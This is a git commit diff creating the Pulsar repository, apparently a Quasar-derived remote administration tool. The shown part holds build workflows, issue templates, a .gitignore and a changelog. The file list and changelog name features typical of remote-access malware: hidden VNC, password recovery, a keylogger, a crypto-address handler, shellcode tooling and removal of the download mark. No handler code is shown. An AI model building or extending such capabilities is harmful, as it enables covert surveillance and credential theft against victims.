Pulsar.Server/Images/restart.png create mode 100644 Pulsar.Server/Images/save.png create mode 100644 Pulsar.Server/Images/selectall.png create mode 100644 Pulsar.Server/Images/server.png create mode 100644 Pulsar.Server/Images/server_add.png create mode 100644 Pulsar.Server/Images/server_delete.png create mode 100644 Pulsar.Server/Images/server_disconnect.png create mode 100644 Pulsar.Server/Images/server_go.png create mode 100644 Pulsar.Server/Images/server_link.png create mode 100644 Pulsar.Server/Images/shellcodeicon.png create mode 100644 Pulsar.Server/Images/shutdown.png create mode 100644 Pulsar.Server/Images/standby.png create mode 100644 Pulsar.Server/Images/star_empty.png create mode 100644 Pulsar.Server/Images/star_filled.png create mode 100644 Pulsar.Server/Images/startbutton.png create mode 100644 Pulsar.Server/Images/stopbutton.png create mode 100644 Pulsar.Server/Images/terminal.png create mode 100644 Pulsar.Server/Images/text.png create mode 100644 Pulsar.Server/Images/textfield_rename.png create mode 100644 Pulsar.Server/Images/topmostwindowicon.png create mode 100644 Pulsar.Server/Images/transmit_blue.png create mode 100644 Pulsar.Server/Images/uac_shield.png create mode 100644 Pulsar.Server/Images/user.png create mode 100644 Pulsar.Server/Images/virtualmonitoricon.png create mode 100644 Pulsar.Server/Images/vncicon.png create mode 100644 Pulsar.Server/Images/website.png create mode 100644 Pulsar.Server/Images/windowstateicon.png create mode 100644 Pulsar.Server/Images/word.png create mode 100644 Pulsar.Server/Images/world_go.png create mode 100644 Pulsar.Server/Images/world_link.png create mode 100644 Pulsar.Server/Images/zipfolder.png create mode 100644 Pulsar.Server/Messages/.DS_Store create mode 100644 Pulsar.Server/Messages/AudioHandler.cs create mode 100644 Pulsar.Server/Messages/AudioOutputHandler.cs create mode 100644 Pulsar.Server/Messages/ClientDebugLog.cs create mode 100644 Pulsar.Server/Messages/ClientStatusHandler.cs create mode 100644 Pulsar.Server/Messages/DeferredAssemblyHandler.cs create mode 100644 Pulsar.Server/Messages/FileManagerHandler.cs create mode 100644 Pulsar.Server/Messages/GetCryptoAddressHandler.cs create mode 100644 Pulsar.Server/Messages/HVNCHandler.cs create mode 100644 Pulsar.Server/Messages/MemoryDumpHandler.cs create mode 100644 Pulsar.Server/Messages/PasswordRecoveryHandler.cs create mode 100644 Pulsar.Server/Messages/PingHandler.cs create mode 100644 Pulsar.Server/Messages/PreviewHandler.cs create mode 100644 Pulsar.Server/Messages/RegistryHandler.cs create mode 100644 Pulsar.Server/Messages/RemoteChatHandler.cs create mode 100644 Pulsar.Server/Messages/RemoteDesktopHandler.cs create mode 100644 Pulsar.Server/Messages/RemoteShellHandler.cs create mode 100644 Pulsar.Server/Messages/RemoteWebcamHandler.cs create mode 100644 Pulsar.Server/Messages/ReverseProxyHandler.cs create mode 100644 Pulsar.Server/Messages/StartupManagerHandler.cs create mode 100644 Pulsar.Server/Messages/SystemInformationHandler.cs create mode 100644 Pulsar.Server/Messages/TaskManagerHandler.cs create mode 100644 Pulsar.Server/Messages/TcpConnectionsHandler.cs create mode 100644 Pulsar.Server/Messages/UniversalPluginResponseHandler.cs create mode 100644 Pulsar.Server/Models/BuildOptions.cs create mode 100644 Pulsar.Server/Models/BuilderProfile.cs create mode 100644 Pulsar.Server/Models/BuilderProfileModel.cs create mode 100644 Pulsar.Server/Models/DummyCertificate.cs create mode 100644 Pulsar.Server/Models/Favorites.cs create mode 100644 Pulsar.Server/Models/FileManagerListTag.cs create mode 100644 Pulsar.Server/Models/FileTransfer.cs create mode 100644 Pulsar.Server/Models/Settings.cs create mode 100644 Pulsar.Server/Models/SettingsModel.cs create mode 100644 Pulsar.Server/Networking/Client.cs create mode 100644 Pulsar.Server/Networking/PulsarServer.cs create mode 100644 Pulsar.Server/Networking/PushSender.cs create mode 100644 Pulsar.Server/Networking/Server.cs create mode 100644 Pulsar.Server/Networking/UPnPService.cs create mode 100644 Pulsar.Server/Networking/UserState.cs create mode 100644 Pulsar.Server/Persistence/.DS_Store create mode 100644 Pulsar.Server/Plugins/.DS_Store create mode 100644 Pulsar.Server/Plugins/IServerContext.cs create mode 100644 Pulsar.Server/Plugins/IServerPlugin.cs create mode 100644 Pulsar.Server/Plugins/IUIExtensionPlugin.cs create mode 100644 Pulsar.Server/Plugins/PluginManager.cs create mode 100644 Pulsar.Server/Plugins/UIExtensionManager.cs create mode 100644 Pulsar.Server/Program.cs create mode 100644 Pulsar.Server/Properties/.DS_Store create mode 100644 Pulsar.Server/Properties/AssemblyInfo.cs create mode 100644 Pulsar.Server/Properties/Resources.resx create mode 100644 Pulsar.Server/Properties/Settings.Designer.cs create mode 100644 Pulsar.Server/Pulsar.Server.csproj create mode 100644 Pulsar.Server/Registry/RegValueHelper.cs create mode 100644 Pulsar.Server/Resources/add.png create mode 100644 Pulsar.Server/Resources/anchor.png create mode 100644 Pulsar.Server/Resources/application_osx_terminal.png create mode 100644 Pulsar.Server/Resources/application_view_xp_terminal.png create mode 100644 Pulsar.Server/Resources/bell.png create mode 100644 Pulsar.Server/Resources/bullet_green.png create mode 100644 Pulsar.Server/Resources/bullet_red.png create mode 100644 Pulsar.Server/Resources/chart_curve.png create mode 100644 Pulsar.Server/Resources/clear.png create mode 100644 Pulsar.Server/Resources/clipboard_paste_image.png create mode 100644 Pulsar.Server/Resources/cog.png create mode 100644 Pulsar.Server/Resources/cog1.png create mode 100644 Pulsar.Server/Resources/cog_add.png create mode 100644 Pulsar.Server/Resources/cog_delete.png create mode 100644 Pulsar.Server/Resources/computer_error.png create mode 100644 Pulsar.Server/Resources/computer_go.png create mode 100644 Pulsar.Server/Resources/disconnect.png create mode 100644 Pulsar.Server/Resources/eraser.png create mode 100644 Pulsar.Server/Resources/gd1515.bmp create mode 100644 Pulsar.Server/Resources/gd2020.bmp create mode 100644 Pulsar.Server/Resources/icon.ico create mode 100644 Pulsar.Server/Resources/images.png create mode 100644 Pulsar.Server/Resources/map.png create mode 100644 Pulsar.Server/Resources/money_dollar.png create mode 100644 Pulsar.Server/Resources/mouse.png create mode 100644 Pulsar.Server/Resources/neon-green-dot-hi-3027026726.bmp create mode 100644 Pulsar.Server/Resources/no-previewbmp.bmp create mode 100644 Pulsar.Server/Resources/nopreviewbest_cropped.jpg create mode 100644 Pulsar.Server/Resources/pencil.png create mode 100644 Pulsar.Server/Resources/phone.png create mode 100644 Pulsar.Server/Resources/ruby.png create mode 100644 Pulsar.Server/Resources/script_code.png create mode 100644 Pulsar.Server/Resources/sound.png create mode 100644 Pulsar.Server/Resources/status_online.png create mode 100644 Pulsar.Server/Resources/user_thief.png create mode 100644 Pulsar.Server/Resources/wait.png create mode 100644 Pulsar.Server/Resources/webcam.png create mode 100644 Pulsar.Server/Resources/wrench.png create mode 100644 Pulsar.Server/ReverseProxy/ReverseProxyClient.cs create mode 100644 Pulsar.Server/ReverseProxy/ReverseProxyServer.cs create mode 100644 Pulsar.Server/Statistics/ClientGeoSnapshot.cs create mode 100644 Pulsar.Server/Statistics/ClientGeoStatisticsService.cs create mode 100644 Pulsar.Server/Statistics/ClientStatisticsService.cs create mode 100644 Pulsar.Server/Statistics/ClientStatisticsSnapshot.cs create mode 100644 Pulsar.Server/TelegramSender/send.cs create mode 100644 Pulsar.Server/Utilities/.DS_Store create mode 100644 Pulsar.Server/Utilities/FrameCounter.cs create mode 100644 Pulsar.Server/Utilities/ListViewColumnSorter.cs create mode 100644 Pulsar.Server/Utilities/ListViewExtensions.cs create mode 100644 Pulsar.Server/Utilities/NativeMethods.cs create mode 100644 Pulsar.Server/Utilities/PluginPackageImporter.cs create mode 100644 Pulsar.Server/Utilities/ServerVersion.cs create mode 100644 Pulsar.Server/app.config create mode 100644 Pulsar.Server/app.manifest create mode 100644 Pulsar.Server/build-donut.bat create mode 100644 Pulsar.sln create mode 100644 README.md create mode 100644 ROADMAP.md create mode 100644 Updating_Clients.md diff --git a/.DS_Store b/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..c5a6d50f97a99ccbf17ba45c836b797e03cc4a7f GIT binary patch literal 8196 zcmeHM&2AGh5FV#hNreiCT*_^w-l2Vir40fkgenCPH%gK!4ccU@q(Qw@+B4!gdaHN? zu3QlZ#AEak_{MgkowdE%UJwXdT2Hk8#`DeiZ^t1bwZ9nd5p5Gu8xPBSw^4ZtxAWta zmVL7esi04ELJR6=qrKiBchK=gj6jS)j6jS)j6jUQ-w*+u*<9LzbKkVaIz}Ky;J=Ij z?+*zcmZ_D6k$USurBeXNb-dOEzmW%Moy5x2%ECykiat&DpscF0DTXrYXipdpnOa#G zY1By>byC){vKflf)}fbZIH}agSjPy&2)Gg8-2E0kq!Eqjten43P7V0cTNg3OyWM`4 z_tC=3?(*}GZ;ySbVFT3Z3EvhhtsS8oTBAPLOwB#QvSpVo*_MF)Rjb#oZI$*?w%4X( zI*0eiG@~iKr%YOAh>HnuaQd3$UN#O+^3pc9=o!7CmvlhS!RrI~4Zw0tIZcQ2LDtXn zjBzzE;mGEvi+XgxrJDW&&edoLH#e`D{|4NfAnYSJI2VlXeEn5z4{#KH1Xu}-;Bi+U z8f|)k;10lIN^|D23^E@%PNN`7Nymo?kahYB5O#2aG!-z3wR=bzZrynOg0^J!^xQ=R zI92)yFsh&=pF`%e1wIQfnqxp`*jEnld#poxRt{$kOt{eb!rM;`I^a&NhIc{MXb3kS zBz`w@%;5KBhq|uQ7N<;9!ujhKl8KxB)gZ7GNKeie$+)Kf{9^${qEW`tR-~7{putW8eW%cG=!ToCUnEH zX7Jmb|33-e|KG6J2#*nn5%`xPpw_#+?migX+}h#Jxpso*2oD#=6-H_mR5~4p)af|n z>JLNwP5@<{)XKt0yg~Wn7Xg7!o9aee`fw2&Z9M<0A9&s`hrj{Y@B|NxQA2GpUh(|b I%gm{M1C>%vg#Z8m literal 0 HcmV?d00001 diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 0000000..412eeda --- /dev/null +++ b/.gitattributes @@ -0,0 +1,22 @@ +# Auto detect text files and perform LF normalization +* text=auto + +# Custom for Visual Studio +*.cs diff=csharp +*.sln merge=union +*.csproj merge=union +*.vbproj merge=union +*.fsproj merge=union +*.dbproj merge=union + +# Standard to msysgit +*.doc diff=astextplain +*.DOC diff=astextplain +*.docx diff=astextplain +*.DOCX diff=astextplain +*.dot diff=astextplain +*.DOT diff=astextplain +*.pdf diff=astextplain +*.PDF diff=astextplain +*.rtf diff=astextplain +*.RTF diff=astextplain diff --git a/.github/.DS_Store b/.github/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..332254d757ab3a0176e167e119ccfb267079010a GIT binary patch literal 6148 zcmeHK!AiqG5Pe&FXjP;~kNXS#gR~?EK|!dVm0DCVAw`j1^8tQ^2S31{@a`A+W@o8} zY$;x($V{1eo7tJ&$y>;D0l4Y&VhoG`45)&=Ax%PLUbG{<=#fbm)+lg=3luoRc_-Q& zyU2i?-4RYO6u*&lVXR zD4I0}i~(a{&47F#JXJ7@*eHfi2TiyF5c_lo;aKhxlH((05gSF$P@JX`HPyu{hSPNV zeT>T@Hj0`K7k1`4ac38AC@$Ho#%`+qyho{Rxw;9oJ| z`uQxM@|9w5?Yx}yT2H;Eib!0exK809v|`3eD?X+Mq2J4Zm_=+9>7m#kfk1;9W8hC2 F_yU}EQ^^1T literal 0 HcmV?d00001 diff --git a/.github/ISSUE_TEMPLATE/bug_report.yaml b/.github/ISSUE_TEMPLATE/bug_report.yaml new file mode 100644 index 0000000..3cd760e --- /dev/null +++ b/.github/ISSUE_TEMPLATE/bug_report.yaml @@ -0,0 +1,77 @@ +name: Bug report +description: Create a bug or crash report +labels: ["bug"] +body: + - type: input + attributes: + label: Pulsar version + placeholder: 1.4.0 or commit-id + validations: + required: true + - type: input + attributes: + label: Server installed .NET version + placeholder: .NET 6.0 + - type: dropdown + attributes: + label: Server operating system + options: + - Windows 11/Server 2022 + - Windows 10/Server 2019/2016 + - Windows 8/8.1/Server 2012 + - Windows 7/Server 2008 R2 + - Other + validations: + required: true + - type: input + attributes: + label: Client installed .NET version + placeholder: .NET 6.0 + - type: dropdown + attributes: + label: Client operating system + options: + - Windows 11/Server 2022 + - Windows 10/Server 2019/2016 + - Windows 8/8.1/Server 2012 + - Windows 7/Server 2008 R2 + - Other + validations: + required: true + - type: dropdown + attributes: + label: Build configuration + options: + - Debug + - Release + validations: + required: true + - type: textarea + attributes: + label: Describe the bug + description: A clear and concise description of what the bug is. + validations: + required: true + - type: textarea + attributes: + label: How to reproduce + description: The steps on how to reproduce the bug. + validations: + required: true + - type: textarea + attributes: + label: Expected behavior + description: Describe the result that you expect to get after performing the steps. + validations: + required: true + - type: textarea + attributes: + label: Actual behavior + description: Describe the actual behavior that you observed after performing the steps. + validations: + required: true + - type: textarea + attributes: + label: Additional context + description: Any other information that may help us fix the issue goes here (e.g. screenshots). + diff --git a/.github/ISSUE_TEMPLATE/feature_request.yaml b/.github/ISSUE_TEMPLATE/feature_request.yaml new file mode 100644 index 0000000..e56dad8 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/feature_request.yaml @@ -0,0 +1,23 @@ +name: Feature request +description: Suggest a new feature +labels: ["enhancement"] +body: + - type: textarea + attributes: + label: Problem description + description: A clear and concise description of what the problem is. + placeholder: | + Example: "I'm always frustrated when [...]", or "I often need to [...]" + validations: + required: true + - type: textarea + attributes: + label: Proposal + description: A clear and concise description of what you want to happen. + validations: + required: true + - type: textarea + attributes: + label: Additional context + description: Add any other context or screenshots about the feature request here. + diff --git a/.github/workflows/dotnet.yml b/.github/workflows/dotnet.yml new file mode 100644 index 0000000..9eede11 --- /dev/null +++ b/.github/workflows/dotnet.yml @@ -0,0 +1,75 @@ +name: Pulsar .NET 9.0 Windows Release + +on: + push: + branches: [ "main" ] + +jobs: + build: + runs-on: windows-latest + permissions: + contents: write + pull-requests: write + repository-projects: write + + steps: + - name: Checkout Repository + uses: actions/checkout@v4 + with: + submodules: true + fetch-depth: 0 + + - name: Setup .NET 9.0 + uses: actions/setup-dotnet@v4 + with: + dotnet-version: '9.0.x' + + - name: Setup MSBuild + uses: microsoft/setup-msbuild@v2 + + - name: Get Version + run: | + $version = (Get-Content Pulsar.Server/Utilities/ServerVersion.cs | Select-String 'Current = "([^"]+)"').Matches.Groups[1].Value + echo "VERSION=$version" >> $env:GITHUB_ENV + shell: pwsh + + - name: Restore Dependencies + run: dotnet restore Pulsar.sln + + - name: Build Solution + run: msbuild Pulsar.sln /p:Configuration=Release /p:Platform=AnyCPU + + - name: Prepare Build Output + run: | + if (Test-Path "./bin/Release/net9.0-windows") { + Compress-Archive -Path "./bin/Release/net9.0-windows/*" -DestinationPath "pulsar-net-win64-${{ env.VERSION }}.zip" + Write-Host "Zipped net9.0-windows output" + } else { + Write-Host "Error: net9.0-windows output not found" + exit 1 + } + shell: pwsh + + - name: Upload Build Artifact + uses: actions/upload-artifact@v4 + with: + name: windows-build-${{ env.VERSION }} + path: pulsar-net-win64-${{ env.VERSION }}.zip + + - name: Delete existing release + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + run: | + gh release delete Pulsar-v${{ env.VERSION }} --yes --cleanup-tag || echo "No existing release/tag to delete" + shell: bash + + - name: Create Release + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + run: | + gh release create Pulsar-v${{ env.VERSION }} pulsar-net-win64-${{ env.VERSION }}.zip \ + -t "Pulsar-v${{ env.VERSION }}" \ + -n "Automated build release for Pulsar v${{ env.VERSION }}" \ + --draft=false \ + --prerelease=false + shell: bash diff --git a/.github/workflows/mirror.yml b/.github/workflows/mirror.yml new file mode 100644 index 0000000..c86ec75 --- /dev/null +++ b/.github/workflows/mirror.yml @@ -0,0 +1,31 @@ +name: Mirror to Codeberg and Gitea + +on: + push: + branches: ["*"] + workflow_dispatch: + +jobs: + mirror: + runs-on: ubuntu:22.04 + steps: + - name: Checkout + uses: actions/checkout@v4 + with: + fetch-depth: 0 # all history fr + + - name: Mirror to Codeberg and Gitea + env: + CODEBERG_USERNAME: ${{ secrets.CODEBERG_USERNAME }} + CODEBERG_TOKEN: ${{ secrets.CODEBERG_TOKEN }} + GITEA_USERNAME: ${{ secrets.GITEA_USERNAME }} + GITEA_TOKEN: ${{ secrets.GITEA_TOKEN }} + run: | + git config --global user.name "GitHub Mirror Bot" + git config --global user.email "actions@github.com" + + git remote add codeberg https://$CODEBERG_USERNAME:$CODEBERG_TOKEN@codeberg.org/$CODEBERG_USERNAME/Poopsar.git + git remote add gitea https://$GITEA_USERNAME:$GITEA_TOKEN@gitea.com/$GITEA_USERNAME/Poopsar.git + + git push --mirror codeberg + git push --mirror gitea diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..463e707 --- /dev/null +++ b/.gitignore @@ -0,0 +1,211 @@ +## Ignore Visual Studio temporary files, build results, and +## files generated by popular Visual Studio add-ons. + +# Client build file +Pulsar-Client.exe + +# User-specific files +*.suo +*.user +*.userosscache +*.sln.docstates + +# User-specific files (MonoDevelop/Xamarin Studio) +*.userprefs + +# Build results +[Dd]ebug/ +[Dd]ebugPublic/ +[Rr]elease/ +[Rr]eleases/ +x64/ +x86/ +bld/ +[Bb]in/ +[Oo]bj/ + +# Visual Studio 2015 cache/options directory +.vs/ + +# MSTest test Results +[Tt]est[Rr]esult*/ +[Bb]uild[Ll]og.* + +# NUNIT +*.VisualState.xml +TestResult.xml + +# Build Results of an ATL Project +[Dd]ebugPS/ +[Rr]eleasePS/ +dlldata.c + +# DNX +project.lock.json +artifacts/ + +*_i.c +*_p.c +*_i.h +*.ilk +*.meta +*.obj +*.pch +*.pdb +*.pgc +*.pgd +*.rsp +*.sbr +*.tlb +*.tli +*.tlh +*.tmp +*.tmp_proj +*.log +*.vspscc +*.vssscc +.builds +*.pidb +*.svclog +*.scc + +# Chutzpah Test files +_Chutzpah* + +# Visual C++ cache files +ipch/ +*.aps +*.ncb +*.opensdf +*.sdf +*.cachefile + +# Visual Studio profiler +*.psess +*.vsp +*.vspx + +# TFS 2012 Local Workspace +$tf/ + +# Guidance Automation Toolkit +*.gpState + +# ReSharper is a .NET coding add-in +_ReSharper*/ +*.[Rr]e[Ss]harper +*.DotSettings.user + +# JustCode is a .NET coding add-in +.JustCode + +# TeamCity is a build add-in +_TeamCity* + +# DotCover is a Code Coverage Tool +*.dotCover + +# NCrunch +_NCrunch_* +.*crunch*.local.xml + +# MightyMoose +*.mm.* +AutoTest.Net/ + +# Web workbench (sass) +.sass-cache/ + +# Installshield output folder +[Ee]xpress/ + +# DocProject is a documentation generator add-in +DocProject/buildhelp/ +DocProject/Help/*.HxT +DocProject/Help/*.HxC +DocProject/Help/*.hhc +DocProject/Help/*.hhk +DocProject/Help/*.hhp +DocProject/Help/Html2 +DocProject/Help/html + +# Click-Once directory +publish/ + +# Publish Web Output +*.[Pp]ublish.xml +*.azurePubxml +# TODO: Comment the next line if you want to checkin your web deploy settings +# but database connection strings (with potential passwords) will be unencrypted +*.pubxml +*.publishproj + +# NuGet Packages +*.nupkg +# The packages folder can be ignored because of Package Restore +**/packages/* +# except build/, which is used as an MSBuild target. +!**/packages/build/ +# Uncomment if necessary however generally it will be regenerated when needed +#!**/packages/repositories.config + +# Windows Azure Build Output +csx/ +*.build.csdef + +# Windows Store app package directory +AppPackages/ + +# Visual Studio cache files +# files ending in .cache can be ignored +*.[Cc]ache +# but keep track of directories ending in .cache +!*.[Cc]ache/ + +# Others +ClientBin/ +[Ss]tyle[Cc]op.* +~$* +*~ +*.dbmdl +*.dbproj.schemaview +*.pfx +*.publishsettings +node_modules/ +orleans.codegen.cs + +# RIA/Silverlight projects +Generated_Code/ + +# Backup & report files from converting an old project file +# to a newer Visual Studio version. Backup files are not needed, +# because we have git ;-) +_UpgradeReport_Files/ +Backup*/ +UpgradeLog*.XML +UpgradeLog*.htm + +# SQL Server files +*.mdf +*.ldf + +# Business Intelligence projects +*.rdl.data +*.bim.layout +*.bim_*.settings + +# Microsoft Fakes +FakesAssemblies/ + +# Node.js Tools for Visual Studio +.ntvs_analysis.dat + +# Visual Studio 6 build log +*.plg + +# Visual Studio 6 workspace options file +*.opt + +# Deferred assembly payloads (runtime-delivered DLLs) +Pulsar.Server/DeferredAssemblies/* +!Pulsar.Server/DeferredAssemblies/README.md diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml new file mode 100644 index 0000000..b365735 --- /dev/null +++ b/.gitlab-ci.yml @@ -0,0 +1,145 @@ +stages: + - determine + - build + +variables: + SOLUTION_FILE: "Pulsar.sln" + BUILD_CONFIGURATION: "Release" + SERVER_TARGET_FRAMEWORK: "net9.0-windows" + SERVER_RUNTIME: "win-x64" + CLIENT_TARGET_FRAMEWORK: "net472" + +# Only run on main branch when C# files or project files change +workflow: + rules: + - if: $CI_COMMIT_BRANCH == "main" + changes: + - "**/*.cs" + - "**/*.csproj" + - "**/*.sln" + - ".gitlab-ci.yml" + +determine-version: + stage: determine + image: ubuntu:22.04 + tags: + - docker + before_script: + - apt-get update -qq && apt-get install -y -qq git grep + script: + - | + if [ -f "Pulsar.Server/Properties/AssemblyInfo.cs" ]; then + VERSION=$(grep -oP '\[assembly: AssemblyVersion\("\K[0-9]+\.[0-9]+\.[0-9]+' Pulsar.Server/Properties/AssemblyInfo.cs || echo "unknown") + echo "Found version: $VERSION" + echo "VERSION=$VERSION" >> variables.env + else + echo "AssemblyInfo.cs not found" + echo "VERSION=unknown" >> variables.env + fi + - | + if echo "$CI_COMMIT_MESSAGE" | grep -q "^STABLE"; then + echo "Stable release detected" + echo "IS_STABLE=true" >> variables.env + echo "RELEASE_TYPE=stable" >> variables.env + else + echo "Development build" + echo "IS_STABLE=false" >> variables.env + echo "RELEASE_TYPE=dev" >> variables.env + fi + - echo "Commit short SHA:" $CI_COMMIT_SHORT_SHA + - echo "Ref name:" $CI_COMMIT_REF_NAME + - echo "COMMIT_SHORT_SHA=$CI_COMMIT_SHORT_SHA" >> variables.env + - | + # Clean commit message for dotenv (remove problematic characters) + CLEAN_MESSAGE=$(echo "$CI_COMMIT_MESSAGE" | tr -d '\n\r' | sed 's/"/\\"/g' | sed "s/'/\\'/g") + echo "COMMIT_MESSAGE=$CLEAN_MESSAGE" >> variables.env + +build: + stage: build + needs: ["determine-version"] + image: debian:12 + tags: + - docker + before_script: + # Install Microsoft packages repository and .NET SDK 9.0 + - apt-get update -qq + - apt-get install -y -qq wget ca-certificates apt-transport-https + - wget https://packages.microsoft.com/config/debian/12/packages-microsoft-prod.deb -O packages-microsoft-prod.deb + - dpkg -i packages-microsoft-prod.deb + - rm packages-microsoft-prod.deb + - apt-get update -qq + - apt-get install -y -qq dotnet-sdk-9.0 zip + script: + - set -e # Exit on any error + - echo "Building Pulsar version:" $VERSION + - echo "Release type:" $RELEASE_TYPE + - echo "Commit:" $COMMIT_SHORT_SHA + - echo "Commit message:" $COMMIT_MESSAGE + - echo "Restoring dependencies..." + - dotnet restore $SOLUTION_FILE --runtime $SERVER_RUNTIME + - echo "Build completed. Checking if restore was successful..." + - echo "Building client..." + - dotnet build Pulsar.Client/Pulsar.Client.csproj --configuration $BUILD_CONFIGURATION --no-restore --framework $CLIENT_TARGET_FRAMEWORK + - echo "Client build completed. Checking build output..." + - ls -la Pulsar.Client/bin/Release/ 2>/dev/null || echo "Client bin directory not found" + - echo "Publishing server..." + - dotnet publish Pulsar.Server/Pulsar.Server.csproj --configuration $BUILD_CONFIGURATION --output "$CI_PROJECT_DIR/publish/server" --no-restore --framework $SERVER_TARGET_FRAMEWORK --runtime $SERVER_RUNTIME --self-contained false + - echo "Server publish completed. Checking publish output..." + - ls -la publish/server/ 2>/dev/null || echo "Server publish directory not found" + - echo "Preparing build output..." + - mkdir -p build_output + # Copy all published server code to build_output + - cp -r publish/server/* build_output/ + # Find and copy client.bin - check multiple possible locations + - | + CLIENT_FOUND=false + # Check location 1: Pulsar.Client/bin/Release/net472/Pulsar.Client.exe + if [ -f "Pulsar.Client/bin/Release/$CLIENT_TARGET_FRAMEWORK/Pulsar.Client.exe" ]; then + cp "Pulsar.Client/bin/Release/$CLIENT_TARGET_FRAMEWORK/Pulsar.Client.exe" build_output/client.bin + echo "βœ“ Copied Pulsar.Client.exe as client.bin from Pulsar.Client/bin" + CLIENT_FOUND=true + # Check location 2: bin/Release/net472/Client.exe (like GitHub Actions) + elif [ -f "bin/Release/$CLIENT_TARGET_FRAMEWORK/Client.exe" ]; then + cp "bin/Release/$CLIENT_TARGET_FRAMEWORK/Client.exe" build_output/client.bin + echo "βœ“ Copied Client.exe from bin directory as client.bin" + CLIENT_FOUND=true + # Check location 3: bin/Release/net472/Pulsar.Client.exe + elif [ -f "bin/Release/$CLIENT_TARGET_FRAMEWORK/Pulsar.Client.exe" ]; then + cp "bin/Release/$CLIENT_TARGET_FRAMEWORK/Pulsar.Client.exe" build_output/client.bin + echo "βœ“ Copied Pulsar.Client.exe from bin directory as client.bin" + CLIENT_FOUND=true + # Check location 4: Pulsar.Client/bin/Release/net472/Client.exe + elif [ -f "Pulsar.Client/bin/Release/$CLIENT_TARGET_FRAMEWORK/Client.exe" ]; then + cp "Pulsar.Client/bin/Release/$CLIENT_TARGET_FRAMEWORK/Client.exe" build_output/client.bin + echo "βœ“ Copied Client.exe as client.bin from Pulsar.Client/bin" + CLIENT_FOUND=true + fi + + if [ "$CLIENT_FOUND" = false ]; then + echo "❌ ERROR: Client executable not found!" + echo "Searched locations:" + echo " - Pulsar.Client/bin/Release/$CLIENT_TARGET_FRAMEWORK/Pulsar.Client.exe" + echo " - bin/Release/$CLIENT_TARGET_FRAMEWORK/Client.exe" + echo " - bin/Release/$CLIENT_TARGET_FRAMEWORK/Pulsar.Client.exe" + echo " - Pulsar.Client/bin/Release/$CLIENT_TARGET_FRAMEWORK/Client.exe" + echo "" + echo "Available files in project directories:" + echo "Pulsar.Client/bin contents:" + find Pulsar.Client/bin -name "*.exe" 2>/dev/null || echo "No exe files found in Pulsar.Client/bin" + echo "bin contents:" + find bin -name "*.exe" 2>/dev/null || echo "No exe files found in bin" + echo "" + echo "All bin directories structure:" + find . -type d -name "bin" -exec echo "Directory: {}" \; -exec find {} -name "*.exe" \; 2>/dev/null || echo "No bin directories found" + exit 1 + fi + # Create the final zip with just the essentials + - cd build_output && zip -r ../build_output.zip . && cd .. + - echo "βœ“ Build package created successfully" + - echo "Package contents:" + - unzip -l build_output.zip | head -20 || true + artifacts: + paths: + - build_output.zip + expire_in: 30 days + when: on_success \ No newline at end of file diff --git a/.gitmodules b/.gitmodules new file mode 100644 index 0000000..2f9b4a9 --- /dev/null +++ b/.gitmodules @@ -0,0 +1,3 @@ +[submodule "external/donut"] + path = external/donut + url = https://github.com/TheWover/donut.git diff --git a/CHANGELOG.md b/CHANGELOG.md new file mode 100644 index 0000000..2a70fa2 --- /dev/null +++ b/CHANGELOG.md @@ -0,0 +1,104 @@ +# Pulsar Changelog + +## Pulsar v1.4.1 [12.03.2023] +* Added missing WOW64 subsystem autostart locations +* Fixed file transfers of files larger than 2 GB +* Fixed file transfers of empty files +* Fixed browser credentials recovery +* Fixed race condition on shutdown +* Fixed IP Geolocation +* Fixed opening remote shell sessions on non-system drives +* Fixed incorrectly set file attributes on client installations +* Fixed sorting of listview columns with numbers +* Updated dependencies + +## Pulsar v1.4.0 [05.06.2020] +* **Changed target framework to .NET Framework 4.5.2** +* **Changed license to MIT** +* Changed message serializer to Protobuf +* Changed versioning scheme to Semantic Versioning (https://semver.org/) +* Added attended/unattended client modes +* Added TLS 1.2 as transport encryption +* Added UTC timestamps to log files +* Added dependencies as NuGet packages +* Updated dependencies +* Updated message processing in client and server +* Updated mouse and keyboard input to SendInput API +* Fixed file transfer vulnerbilities ([#623](https://github.com/Pulsar/Pulsar/issues/623)) +* Lots of under the hood changes for an upcoming plugin system + +## Pulsar v1.3.0.0 [28.09.2016] +* Added Registry Editor +* Added Remote Webcam +* Added Windows DPI scaling support +* Added IPv6 support +* Added ability to elevate Client +* Added full Unicode support +* Added Remote TCP Connections Viewer +* Added option to hide sub directory of installation path +* Improved cryptography +* Fixed XSS vulnerability in Keylogger Logs +* Fixed Remote Messagebox having wrong icon +* Fixed FileZilla Recovery base64 decoding +* Fixed UPnP discovery freezing in some cases +* Fixed IP Geolocation +* Fixed Client loses Administrator privileges on restart +* Some minor improvements + +## Pulsar v1.2.0.0 [12.10.2015] +* Added Client restart on unhandled exceptions +* Added additional settings to Keylogger (set/hide log-directory) +* Added encrypted Keylogger logs +* Improved Client Builder +* Improved System Information +* Improved File Manager behaviour when loading directories with many files +* Improved Remote Shell (scrolls now correctly to the bottom when new text received) +* Improved compatibility with many connected clients (1k+) +* Improved AES encryption/decryption speed (if available, makes use of hardware accelerated AES) +* Fixed Client not setting file attribute correctly on startup +* Fixed Remote Desktop lagging with mouse input and maximized window +* Some minor improvements + +## Pulsar v1.1.0.0 [30.08.2015] +* **Changed Target Framework to .NET Framework 4.0 Client Profile** +* Added deletion of ZoneIdentifier file when installing +* Improved Client installation error handling +* Improved Client HardwareID generation +* Improved Client-Server handshake +* Support detection of multiple AVs, Firewalls, GPUs, CPUs +* Fixed Builder Profile not saving correctly Installation Subfolder +* Fixed Builder not validating input correctly +* Fixed Builder creating Client with empty list of hosts +* Fixed Settings Password not hashed when pressing 'Start listening' +* Fixed Reverse Proxy using always wrong port +* Fixed Server throwing NullReferenceException when closing and no Clients connected +* Fixed Client reporting wrong uptime on systems with uptime longer than 49.7 days +* Fixed Client installation path empty on Windows XP 32-bit in some scenarios +* Fixed Client installation to system directory failing on 64-bit OS +* Fixed Client uninstallation not working when file is marked as read-only +* Fixed Client crashing after update on first start in some scenarios +* Fixed Client crashing when list of hosts is empty (Client exits now) +* Fixed Client not reconnecting when Server uses different password +* Fixed Client registry access +* Removed Statistics window, will be remade in a later version + +## Pulsar 